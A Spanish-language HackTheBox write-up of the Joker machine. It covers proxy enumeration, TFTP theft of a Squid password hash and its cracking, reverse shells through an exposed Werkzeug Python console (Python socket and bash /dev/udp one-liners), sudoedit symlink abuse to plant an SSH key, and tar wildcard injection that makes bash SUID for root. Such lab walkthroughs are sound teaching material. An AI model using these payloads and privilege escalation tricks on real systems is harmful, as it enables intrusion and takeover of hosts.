Joker HTB - WriteUp

En el día de hoy estaremos resolviendo la máquina Joker de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.21.

Índice

  1. Enumeración Inicial
  2. SQUID Enumeration
  3. Cracking SQUID Password
  4. Web Enumeration
  5. Python Console Abuse
  6. Privesc To Other User
  7. Privesc To Root

Enumeración Inicial

Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.

❯ nmap -sC -sV -Pn -oN Extraction -p22,3128 10.10.10.21
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-02 08:56 CET
Nmap scan report for 10.10.10.21
Host is up (0.050s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
|   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tenemos un SSH y un SQUID Proxy. Vamos a ver el proxy desde el navegador.

Podemos ver el típico error de SQUID. Vamos a intentar pasar por el proxy y ver si necesita autenticación. Para ello podemos usar FoxyProxy o ProxyChains. En este caso voy a tirar de FoxyProxy.

Una forma en la que podemos ver si necesitamos autenticarnos es a través de Tshark o Wireshark.

❯ tshark --color -w captura.pcap -i tun0
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
13

SQUID Enumeration

Si recargamos la página del proxy mientras tenemos en Tshark capturando, podemos ver como suben los paquetes. Si leemos la captura de Tshark podemos ver lo siguiente:

❯ tshark -r captura.pcap
Running as user "root" and group "root". This could be dangerous.
    1 0.000000000   10.10.16.6 → 10.10.10.21  TCP 60 45214 → 3128 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=205785435 TSecr=0 WS=1024
    2 0.041117181  10.10.10.21 → 10.10.16.6   TCP 60 3128 → 45214 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1335 SACK_PERM=1 TSval=65742 TSecr=205785435 WS=128
    3 0.041141249   10.10.16.6 → 10.10.10.21  TCP 52 45214 → 3128 [ACK] Seq=1 Ack=1 Win=64512 Len=0 TSval=205785476 TSecr=65742
    4 0.041350801   10.10.16.6 → 10.10.10.21  HTTP 423 GET http://10.10.10.21:3128/ HTTP/1.1 
    5 0.164070981  10.10.10.21 → 10.10.16.6   TCP 52 3128 → 45214 [ACK] Seq=1 Ack=372 Win=30080 Len=0 TSval=65773 TSecr=205785476
    6 0.164636191  10.10.10.21 → 10.10.16.6   TCP 1375 HTTP/1.1 407 Proxy Authentication Required  [TCP segment of a reassembled PDU]
    7 0.164644837   10.10.16.6 → 10.10.10.21  TCP 52 45214 → 3128 [ACK] Seq=372 Ack=1324 Win=64512 Len=0 TSval=205785600 TSecr=65773
    8 0.164658063  10.10.10.21 → 10.10.16.6   TCP 1375 3128 → 45214 [ACK] Seq=1324 Ack=372 Win=30080 Len=1323 TSval=65773 TSecr=205785476 [TCP segment of a reassembled PDU]
    9 0.164662556   10.10.16.6 → 10.10.10.21  TCP 52 45214 → 3128 [ACK] Seq=372 Ack=2647 Win=63488 Len=0 TSval=205785600 TSecr=65773
   10 0.204385323  10.10.10.21 → 10.10.16.6   TCP 1375 3128 → 45214 [ACK] Seq=2647 Ack=372 Win=30080 Len=1323 TSval=65773 TSecr=205785476 [TCP segment of a reassembled PDU]
   11 0.204427269   10.10.16.6 → 10.10.10.21  TCP 52 45214 → 3128 [ACK] Seq=372 Ack=3970 Win=64512 Len=0 TSval=205785640 TSecr=65773
   12 0.204442802  10.10.10.21 → 10.10.16.6   HTTP 311 HTTP/1.1 407 Proxy Authentication Required  (text/html)
   13 0.204446327   10.10.16.6 → 10.10.10.21  TCP 52 45214 → 3128 [ACK] Seq=372 Ack=4229 Win=64512 Len=0 TSval=205785640 TSecr=65773

Cracking SQUID Password

Podemos ver una traza en la que pone: “Proxy Authentication Required” Esto significa que no podemos pasar a través del Proxy sin credenciales. El siguiente paso será enumerar los puertos UDP abiertos en la máquina. Para ello también tiramos de nmap.

# Nmap 7.91 scan initiated Thu Mar  2 09:06:45 2023 as: nmap -sU -oN UDPScan 10.10.10.21
Nmap scan report for 10.10.10.21
Host is up (0.041s latency).
Not shown: 998 closed ports
PORT     STATE         SERVICE
69/udp   open|filtered tftp
5355/udp open|filtered llmnr

# Nmap done at Thu Mar  2 09:24:51 2023 -- 1 IP address (1 host up) scanned in 1085.50 seconds

El escaneo puede tardar un rato. Una vez vemos el rusultado podemos ver que el puerto 69 podría estar abierto. Esto corresponde con el servicio TFTP. Podemos conectarnos a este servicio a través del comando tftp.

❯ tftp 10.10.10.21
tftp> ?
Commands may be abbreviated.  Commands are:

connect         connect to remote tftp
mode            set file transfer mode
put             send file
get             receive file
quit            exit tftp
verbose         toggle verbose mode
trace           toggle packet tracing
status          show current status
binary          set mode to octet
ascii           set mode to netascii
rexmt           set per-packet retransmission timeout
timeout         set total retransmission timeout
?               print help information
tftp> 

Lo malo de tftp es que nos nos permite saber con exactitud los archivos que podemos descargar, dado que no podemos listar. Si recordamos que SQUID nos pedia autenticarnos podemos intentar enumerar eso. El path de SQUID suele ser /etc/squid/. Vamos a probar a descargarnoslo.

tftp> get 
(files) /etc/squid/squid.conf
Received 295428 bytes in 24.0 seconds
tftp> 

Parece que nos lo hemos descargado, vamos a ver si contiene información que nos sirva. SQUID también tiene puede tener un archivo que contiene las contraseñas en un formato de HASH. He hecho uso de la función grep para buscar las coincidencias de password en el archivo de configuración y he encontrado lo siguiente:

cat squid.conf | grep password
#               their username and password.
#               password verifications are done via a (slow) network you are
#         password=     The users password (for login= cache_peer option)
#         # to check username/password combinations (see
#               acl password proxy_auth REQUIRED
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
#  TAG: sslpassword_program
#       selection of the right password if you have multiple encrypted
#       login=user:password
#                       to pass on, but username and password are available
#                       from an external ACL user= and password= result tags
#                       password to the peer. USE WITH CAUTION
#       login=*:password
#                       fixed password. This is meant to be used when the peer
#                       the login=username:password option above.
#                       it is the password; for Digest, the realm sent by the
#       If you want the anonymous login password to be more informative
#       (taken from the password file) and supplementary group list
#       "password=<password>" to the end of this service declaration.
#       wccp2_service standard 0 password=foo
#       Specify passwords for cachemgr operations.
#       Usage: cachemgr_passwd password action action ...
#         valid password, others can be performed if not listed here.
#       To disable an action, set the password to "disable".
#       To allow performing an action without a password, set the
#       password to "none".
#       Use the keyword "all" to set the same password for all actions.
# No password. Actions which require password are denied.

Un archivo llamado “/etc/squid/passwords” vamos a ver si nos lo podemos descargar.

(files) /etc/squid/passwords
Received 48 bytes in 0.0 seconds
tftp>

Nos lo hemos descargado, vamos a ver su contenido.

kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

Tenemos un usuario y un hash, vamos a probar a romperlo con john o hashcat, en mi caso usaré john.

❯ john --show passwords
kalamari:ihateseafood

1 password hash cracked, 0 left

john es capaz de romperlo y podemos ver la password en claro. Vamos a probar a autenticarnos a traves de FoxyProxy.

Si probamos recargar la página, no vamos a ver ninguna diferencia (El logo de SQUID aparece). Sin embargo si probamos a irnos a localhost, podemos ver lo siguiente.

Web Enumeration

Y si probamos 127.0.0.1 podemos ver contenido web.

La página nos permite crear acortadores de url, pero no podemos hacer nada interesante. Vamos a enumerar directorios y archivos con gobuster.

❯ gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://127.0.0.1 --proxy http://kalamari:ihateseafood@10.10.10.21:3128                   
===============================================================                                                                                                                              
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://kalamari:ihateseafood@10.10.10.21:3128
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/03/02 09:45:04 Starting gobuster in directory enumeration mode
===============================================================
/list                 (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]
/console              (Status: 200) [Size: 1479]

Podemos ver un directorio /console que suena bastante interesante. SI vamos a este podemos ver una consola de python.

Python Console Abuse

Voy a tratar de establecerme una revshell. Poniendo lo siguiente:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.6",443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

En el momento que hice eso… la máquina se colgo :) despues de reiniciarla varias veces y comprobar que efectivamente estaba funcionando la consola interactiva a traves de un ping.

❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:50:52.200940 IP 10.10.10.21 > 10.10.16.6: ICMP echo request, id 1569, seq 1, length 64
09:50:52.200966 IP 10.10.16.6 > 10.10.10.21: ICMP echo reply, id 1569, seq 1, length 64

Intente establecerme la revshell por udp. Me puse a la escucha con netcat por udp

❯ nc -lvvp 443 -u
listening on [any] 443 ...

Y mandaremos lo siguiente por la web.

os.system("bash -c 'sh -i >& /dev/udp/10.0.0.1/4242 0>&1'")

Si miramos nuestro listener podemos ver que tenemos shell.

❯ nc -lvvp 443 -u
listening on [any] 443 ...
10.10.10.21: inverse host lookup failed: Unknown host
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.21] 41026
sh: 0: can't access tty; job control turned off
$ 

Privesc To Other User

Le hacemos el tratamiento de la tty… Una vez este hecho ya tendremos una shell totalmente interactiva. Estamos con el usuario werkzeug y estamos dentro de la máquina.

werkzeug@joker:~$ id; ip a
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:ef:ec brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.21/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feb9:efec/64 scope link 
       valid_lft forever preferred_lft forever
werkzeug@joker:~$

Si miramos nuestros permisos de sudo podemos ver que podemos ejecutar el comando sudoedit como el usuario alekos de la siguiente forma.

werkzeug@joker:~$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
werkzeug@joker:~$ 

El directorio home del usuario alekos podemos listarlo.

werkzeug@joker:/home/alekos$ ls -la
total 52
drwxr-xr-x 7 alekos alekos  4096 May 19  2017 .
drwxr-xr-x 3 root   root    4096 May 16  2017 ..
drwxrwx--- 2 root   alekos 12288 Mar  2 10:55 backup
-rw------- 1 root   root       0 May 17  2017 .bash_history
-rw-r--r-- 1 alekos alekos   220 May 16  2017 .bash_logout
-rw-r--r-- 1 alekos alekos  3771 May 16  2017 .bashrc
drwx------ 2 alekos alekos  4096 May 17  2017 .cache
drwxr-x--- 5 alekos alekos  4096 May 18  2017 development
drwxr-xr-x 2 alekos alekos  4096 May 17  2017 .nano
-rw-r--r-- 1 alekos alekos   655 May 16  2017 .profile
drwxr-xr-x 2 alekos alekos  4096 May 20  2017 .ssh
-r--r----- 1 root   alekos    33 Mar  2 09:54 user.txt

Lo que haré será crear una carpeta dentro de testing y un archivo layout.html dentro de esa carpeta. Una vez creado eso podriamos ejecutar el privilegio de sudo sin necesidad de contraseña.

sudoedit -u alekos /var/www/testing/pwn/layout.html

Si buscamos en searchexploit podemos ver que existe el siguiente exploit “linux/local/37710.txt” Este explica como podemos aprovecharnos de los wildcards que hemos visto que se estaban usando y crear un enlace simbolico para escribir donde queramos.

Then, logged as that user, create a subdirectory within its home folder
(e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link
inside the new folder named test.txt pointing to /etc/shadow.

When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will
be allowed to access the /etc/shadow even if have not been granted with
such access in the sudoers file.

Por lo tanto lo que podemos hacer es apuntar al fichero authorized_keys que hay en .ssh del usuario alekos y subir nuestra clave publica para autenticarnos sin necesidad de claves.

werkzeug@joker:~$ ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/pwn/layout.html 

Ahora si hacemos un sudoedit como alekos podremos editar el archivo porque tenemos permisos sobre el. Lo unico que tenemos que hacer es poner nuestra clave publica y salvar. Ahora si leemos el authorized_keys podemos ver nuestra clave.

werkzeug@joker:~$ cat /home/alekos/.ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAgQCw0/dWsz3rD0Hkz3SEy9PI0zf9QfARaRxu/Q3H0T7RvIVCpBMKBFRdo0RLMyX8OIUVpX1ALtRJjse4pAJqgHBice5vQkldWwGh0PAV5+uC9/raRm+zIalrnoigQ8fG0DygZNx1yAb4soWYJOuRYFigNfml3ahTwQsnv5P32jSObO5jd1oDoxaSietTRvQU+zfftfz4fgmzmPuYKjkR5JYYrpW6jZJ/ZBkaGBHnCIlbsjziw9kWpFIFoELn5y2eh5AHIbLCo3egYb4E7SN+dlnFReQuv6TUEPcDdLALUmSe08jw0MJsIZEn6FrPmCd4YEoT13bLwPFSGK/xCCgvcb7sXxTm4S25JFWZOaceDl8kg/5bxZydydAXD5P8Y4H/f4aQFhwyvMHo5sKWZvUUVILk9OFoaNij0c+AxO6Ezz1Z8oS0z5jko1qZwUqfLWmbcPw5hLnoWAETyQx0RCc/nIwFcJTkCGzfXqG87ZcbZvixyEZumIk= root@Kamino

Privesc To Root

Nos podemos conectar sin necesidad de credenciales.

❯ ssh alekos@10.10.10.21
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
alekos@joker:~$

Tenemos dos carpetas en nuestro home “backup” y “development”. Voy a subir a la máquina la utilidad pspy para ver si hay tareas programadas corriendo por detras. Para mi sorpresa… Las conexiones TCP no salian de la máquina. IPTABLES tenía las suientes reglas.

# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017

Por defecto INPUT estaba a DROP por lo tanto el tráfico no llegaba, pero permitia todo por udp. Recordemos que UDP no es un protocolo orientado a la conexión por lo tanto no era una opción pasarme la utilidad por ahí. Lo que hice fué transferirlo por scp dado que las cconexiones por ssh están permitidas.

scp pspy64 alekos@10.10.10.21:/dev/shm

Si ejecutamos pspy y esperamos un rato podemos ver lo siguiente.

2023/03/02 11:45:01 CMD: UID=0    PID=2138   | /bin/sh /root/backup.sh                                                                                                                       
2023/03/02 11:45:01 CMD: UID=0    PID=2137   | /bin/sh -c /root/backup.sh                                                                                                                    
2023/03/02 11:45:01 CMD: UID=0    PID=2136   | /usr/sbin/CRON -f                                                                                                                             
2023/03/02 11:45:01 CMD: UID=0    PID=2140   | tar cf /home/alekos/backup/dev-1677750301.tar.gz __init__.py application.py data models.py static templates utils.py views.py                 
2023/03/02 11:45:01 CMD: UID=0    PID=2142   | /bin/sh /root/backup.sh

Se esta comprimiendo todo lo que haya en developement. No puedo ver el script, pero lo que voy a ver es si añado un archivo al directorio también se comprime.

alekos@joker:~/development$ nano testpwn
alekos@joker:~/development$ ls
__init__.py  application.py  data  models.py  static  templates  testpwn  utils.py  views.py

Si se comprime podriamos pensar que se esta usando un wildcard y aprovecharnos de esto.

2023/03/02 11:50:01 CMD: UID=0    PID=2214   | tar cf /home/alekos/backup/dev-1677750601.tar.gz __init__.py application.py data models.py static templates testpwn utils.py views.py

Bien, vamos a intentar aprovecharnos. Para ello vamos a crear dos archivos que se llamaran de la siguiente forma.

--checkpoint=1 --checkpoint-action=exec=/bin/sh

Vamos a susitutir /bin/sh por el comando que queramos ejecutar. Lo primero que haré sera crear un script en bash para otorgarle privs SUID a la bash

#!/bin/bash
chmod +s /bin/bash

Después tendremos que crear los archivos:

echo "" > "--checkpoint-action=exec=bash shell.sh" 
echo "" > --checkpoint=1

Si esperamos un poco podemos ver como las bash tiene privilegios SUID.

2023/03/02 12:00:01 CMD: UID=0    PID=2287   | 
2023/03/02 12:00:01 CMD: UID=0    PID=2286   | tar cf /home/alekos/backup/dev-1677751201.tar.gz --checkpoint-action=exec=bash shell.sh --checkpoint=1 __init__.py application.py data models.py shell.sh static templates testpwn utils.py views.py 
2023/03/02 12:00:01 CMD: UID=0    PID=2288   | bash shell.sh 
2023/03/02 12:00:01 CMD: UID=0    PID=2289   | 
2023/03/02 12:00:01 CMD: UID=0    PID=2290   | 
2023/03/02 12:00:01 CMD: UID=0    PID=2291   | bash shell.sh 
2023/03/02 12:00:01 CMD: UID=0    PID=2294   | 
2023/03/02 12:00:01 CMD: UID=0    PID=2293   | /bin/sh -c bash shell.sh 
2023/03/02 12:00:01 CMD: UID=0    PID=2297   | /bin/sh -c bash shell.sh 
2023/03/02 12:00:01 CMD: UID=0    PID=2296   | /bin/sh -c bash shell.sh 
2023/03/02 12:00:01 CMD: UID=0    PID=2298   | chmod +s /bin/bash 

Si tratamos de ejecutar las bash de forma privilegiada, podemos ver que estamos en un contexto de root.

alekos@joker:~/development$ bash -p
bash-4.3# id
uid=1001(alekos) gid=1001(alekos) euid=0(root) egid=0(root) groups=0(root),1000(werkzeug),1001(alekos)
bash-4.3# 

Ya hemos pwneado la máquina! Espero que te sirva!